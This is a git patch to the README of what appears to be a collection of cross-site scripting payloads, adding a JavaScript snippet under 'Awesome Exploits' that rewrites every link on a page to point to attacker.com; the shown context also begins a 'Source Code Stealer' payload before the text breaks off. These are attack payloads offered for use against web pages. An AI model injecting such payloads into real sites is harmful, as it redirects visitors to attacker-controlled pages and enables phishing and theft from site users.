From 7a402954891c4b0f1053828ee10d980d43531f1a Mon Sep 17 00:00:00 2001 From: Somdev Sangwan Date: Sun, 21 Oct 2018 11:42:09 +0530 Subject: [PATCH] added link replace exploit --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index d0c916c..fccb225 100644 --- a/README.md +++ b/README.md @@ -122,6 +122,12 @@ new class extends confirm``{} ``` ### Awesome Exploits +##### Replace all links +```javascript +Array.from(document.getElementsByTagName("a")).forEach(function(i) { + i.href = "https://attacker.com"; +}); +``` ##### Source Code Stealer ```javascript var request = new XMLHttpRequest();